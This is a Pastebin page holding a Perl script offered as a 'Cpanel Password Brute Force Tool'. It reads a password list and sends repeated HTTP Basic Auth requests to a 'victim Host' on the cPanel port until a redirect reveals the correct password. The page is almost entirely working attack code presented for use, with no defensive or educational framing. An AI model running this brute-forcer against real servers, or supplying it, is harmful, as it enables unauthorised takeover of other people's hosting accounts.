Advertisement
saifulfaizan

cpanel

Nov 1st, 2011
302
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.41 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # Cpanel Password Brute Forcer
  3. # ----------------------------
  4. #    (c)oded By Hessam-x
  5. # Perl Version ( low speed )
  6. # Oerginal Advisory :
  7. # http://www.simorgh-ev.com/advisory/2006/cpanel-bruteforce-vule/
  8. use IO::Socket;
  9. use LWP::Simple;
  10. use MIME::Base64;
  11.  
  12. $host     = $ARGV[0];
  13. $user     = $ARGV[1];
  14. $port     = $ARGV[2];
  15. $list     = $ARGV[3];
  16. $file     = $ARGV[4];
  17. $url = "http://".$host.":".$port;
  18. if(@ARGV < 3){
  19. print q(
  20. ###############################################################
  21. #               Cpanel Password Brute Force Tool              #
  22. ###############################################################
  23. #     usage : cpanel.pl [HOST] [User] [PORT][list] [File]    #
  24. #-------------------------------------------------------------#
  25. #    [Host] : victim Host             (simorgh-ev.com)        #
  26. #    [User] : User Name               (demo)                  #
  27. #    [PORT] : Port of Cpanel          (2082)                  #
  28. #[list] : File Of password list   (list.txt)              #
  29. #    [File] : file for save password  (password.txt)          #
  30. #                                                             #
  31. ###############################################################
  32. #            (c)oded By Hessam-x / simorgh-ev.com             #
  33. ###############################################################
  34. );exit;}
  35.  
  36. headx();
  37.  
  38. $numstart  = "-1";
  39.  
  40. sub headx() {
  41. print q(
  42. ###############################################################
  43. #              Cpanel Password Brute Force Tool               #
  44. #            (c)oded By Hessam-x / simorgh-ev.com             #
  45. ###############################################################
  46. );
  47. open (PASSFILE, "<$list") || die "[-] Can't open the List of password file !";
  48. @PASSWORDS = <PASSFILE>;
  49. close PASSFILE;
  50. foreach my $P (@PASSWORDS) {
  51. chomp $P;
  52. $passwd = $P;
  53. print "
  54. [~] Try Password : $passwd
  55. ";
  56. &brut;
  57. };
  58. }
  59. sub brut() {
  60. $authx = encode_base64($user.":".$passwd);
  61. print $authx;
  62. my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "
  63. [-] Can not connect to the host";
  64. print $sock "GET / HTTP/1.1
  65. ";
  66. print $sock "Authorization: Basic $authx
  67. ";
  68. print $sock "Connection: Close
  69.  
  70. ";
  71. read  $sock, $answer, 128;
  72. close($sock);
  73.  
  74. if ($answer =~ /Moved/) {
  75. print "
  76. [~] PASSWORD FOUND : $passwd
  77. ";
  78. exit();
  79. }
  80. }  
  81.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement